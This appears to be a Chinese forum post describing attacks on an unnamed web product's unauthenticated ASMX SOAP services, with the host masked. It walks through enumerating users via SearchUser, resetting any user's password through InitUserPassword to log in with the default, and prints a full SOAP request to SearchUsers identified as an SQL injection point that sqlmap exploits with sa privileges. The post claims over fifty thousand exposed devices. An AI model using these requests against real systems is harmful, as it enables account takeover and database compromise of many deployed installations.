漏洞产生原因是因为存在大量可未授权访问的webservice接口,并且未做任何过滤,所有接口都是操作用户的,我们可以利用这些接口任意修改用户数据。
我们尝试使用soap协议去请求:我们先用burp随便抓一个包,然后修改内容为SearchUser的请求内容
可以看到我们只需要输入ID和name的任意关键词就可以搜索用户。记下ID因为一会还有用。接下来我们把包替换成InitUserPassword(初始化密码)里面的请求同时把ID换位2
返回的请求为3 经过反复测试,如果是数据就是失败。初始化成功接下来使用默认密码登录。别问我初始密码是多少。
五万多的设备。
接下来是webservice接口的sql注入漏洞,上面没说注入出在哪里,既然是注入那么肯定是和数据库打交道的地方。经过几次测试发现 SearchUsers这个接口存在sql注入 - POST /ajax/UsersAjax.asmx HTTP/1.1
- Host: www.******.com
- Content-Type: text/xml; charset=utf-8
- Content-Length: length
- SOAPAction: "http://tempuri.org/SearchUsers"
- <?xml version="1.0" encoding="utf-8"?>
- <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
- <soap:Body>
- <SearchUsers xmlns="http://tempuri.org/">
- <UserID>2</UserID>
- <UserName>a*</UserName>
- </SearchUsers>
- </soap:Body>
- </soap:Envelope>
复制代码
用sqlmap测试,并且几乎都是sa权限 接下来的我就不继续了 留给大家YY
|